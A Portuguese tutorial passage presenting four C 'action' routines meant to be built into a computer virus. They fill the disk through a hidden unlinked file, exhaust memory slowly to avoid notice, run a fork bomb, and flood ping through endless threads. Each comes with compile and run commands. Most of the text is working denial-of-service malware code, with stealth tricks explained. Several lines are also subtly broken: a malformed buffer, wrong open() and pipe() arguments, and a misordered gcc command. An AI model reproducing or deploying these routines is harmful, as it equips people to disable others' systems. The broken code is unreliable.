A ação do vírus foi posta em um tópico separado, pois é muito vasta, depende da criatividade do programador, podendo ir de uma bolinha passeando pela tela a destruição total do HD.
Foram escolhidas quatro ações que não destruirão seu sistema, elas apenas travam o sistema e uma simples reinicialização bastará para que tudo volte a funcionar perfeitamente. Porém não esperaremos chegar a esse ponto.
As quatro ações travam o sistema pois: (I) a primeira enche o HD, (II) a segunda lota a memória, (III) terceira cria vários processos de si mesmo e o (IV) quarto faz muitos pedidos ao host.
Todos os quatro exemplos poderão funcionar como programas a serem testados, porém, ao ser incluído no código do vírus, apenas as funções
acao serão utilizadas.
Exemplo 1
O primeiro exemplo lota o HD com bagaço: cria um arquivo, mantém aberto e apaga, porém continua enchendo-o de dados. Dessa forma ele fica invisível ao usuário; nem o ls, nem o find poderão encontrá-lo.
O fonte está publicado para download
aqui.
/* progacao1.c */
#include <stdio.h>
#include <stdlib.h>
acao()
{
int ifd;
char *buf=("1","2","3","4","5","6","7","8","9","0");
long c;
int desc;
close(1); /* fecha a saída padrão, o vídeo */
pipe (desc); /* com a saída padrão fechado, fazemos com que a saída passe a ser o pipe. O descritor dessa nova saída será armazenados em desc */
ifd=open("./lotaHD", "w+",0777); /* abre o arquivo para escrita */
unlink("./lotaHD"); /* apaga o arquivo */
while (1)
{
write(ifd, buf, sizeof(buf)); /* em um loop infinito grava os dados de buf no arquivo */
printf ("oi\n"); /* precisamos de um tempo para a gravação, é o tempo que se escreve esta string na saída. Por isso usamos o pipe. Não queremos que o vírus fique escrevendo nada no vídeo */
}
}
main()
{
int i;
i=fork(); /* precisaremos criar um outro processo, pois o vírus terá que continuar sua execução enquanto sua ação é realizada.
Não poderia ser uma thread, pois mesmo que o programa hospedeiro se encerre, o processo tem que continuar.
O processo filho que foi criado é quem deve se encarregar da execução da ação, o pai tem que continuar a executar as funcionalidades restantes do vírus */
if (i==0)
acao();
}
Para compilá-lo basta fazer:
$ gcc progacao1.c -o progacao1
Para executá-lo:
$ ./progacao1
Use o comando (várias vezes)
df para ver o espaço em disco diminuindo. Use o comando
ls ou
find ./ -name lotaHD para ver se encontra o arquivo.
Mate o processo com
ps -ax (busque o número do processo progacao1) e
kill -9 [núm. processo]
Exemplo 2
O exemplo 2 trava o sistema lotando a memória do micro, alocando o máximo de memória permitido.
O fonte está publicado para download
aqui.
/* progacao2.c */
#include <stdlib.h>
#include <stdio.h>
acao ()
{
char *f;
while (1)
{
f = malloc (10000); /* aloca uma memória de 10000 bytes a cada loop e deixa perdida, não irá se importar em recuperar o endereço alocado */
usleep (10); /* espera um tempo de 10/1000.000.000 s para o sistema não ficar lento de forma que se perceba uma execução fora do normal */
}
}
main () /* o main já foi explicado no exemplo 1 */
{
int i;
i=fork();
if (i==0)
acao();
}
Para compilar:
$ gcc progacao2.c -o progacao2
E para executar:
$ ./progacao2
Para ver o uso de memória aumentando use
ps -axv.
Mate o processo com
ps -ax (busque o número do processo progacao1) e
kill -9 [núm. processo].
Exemplo 3
O exemplo 3 também enche a memória, porém desta vez com processos. Esse ataque é difícil de parar, pois não é possível matar os processos individualmente. Eles são criados mais rápidos do que o usuário é capaz de matar, ou seja o "ps + kill" não funcionaria.
Há uma opção, usar
kill -TERM -1. Esse comando matará qualquer processo que não seja criado pelo root. Com isso, qualquer dado que não tenha sido gravado será perdido.
Versões mais recentes do
Linux estão imunes a esse caso, pois agora os usuário podem ter apenas um determinado número de processos sendo executado, porém essa regra não serve para o root.
O fonte está publicado para download
aqui.
/* progacao3.c */
acao ()
{
while (1)
fork();
}
main () /* o main já foi explicado no exemplo 1 */
{
int i;
i=fork();
if (i==0)
acao();
}
Para compilar:
$ gcc progacao3.c -o progacao3
Para executar:
$ ./progacao3
Use:
ps -ax para ver a infinidade de processos criados. Mate o processo com:
kill -TERM -1.
Porém, não se esqueça que apenas os processos executados como root permanecerão ativos.
Exemplo 4
No exemplo 4 o host irá responder a vários pacotes de ping que serão disparados contra eles, sem perceber que assim irá travar o sistema.
Será executado o ping do sistema, que já é um loop infinito, tendo que ser executado em uma thread para não deixar o nosso loop parado esperando seu término.
O ping do sistema também retorna uma saída, que não queremos que seja mostrada na tela, tendo assim que ser redirecionada para o pipe.
O fonte está publicado para download
aqui.
/* progacao4.c */
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
void ping(char *host); /* para usar a função na thread o cabeçalho da função deve estar declarado */
acao()
{
int return_thread;
pthread_t thread;
while (1)
{
return_thread=pthread_create (&thread, NULL, (void *)ping,"ping -s 400 127.0.0.1"); /* criando a thread */
usleep (10); /* já explicado no exemplo 2 */
}
}
main () /* o main já foi explicado no exemplo 1 */
{
int i;
i=fork();
if (i==0)
acao();
}
void ping (char *host)
{
int desc;
close(1);
pipe (desc); /* o pipe já foi explicado no exemplo 1 */
system (host); /* executa um comando do sistema (ping, ls, rm, mv etc.) */
}
Para compilar:
$ gcc -o progacao4.c -lpthread progacao4
Para executar:
$ ./progacao4
Para ver o andamento use:
ps-ax
Para parar a thread, basta matar o processo pai. Faça-o com:
$ ps -ax | grep progacao4 (busque o número do processo progacao4)
E:
$ kill -9 [núm. processo]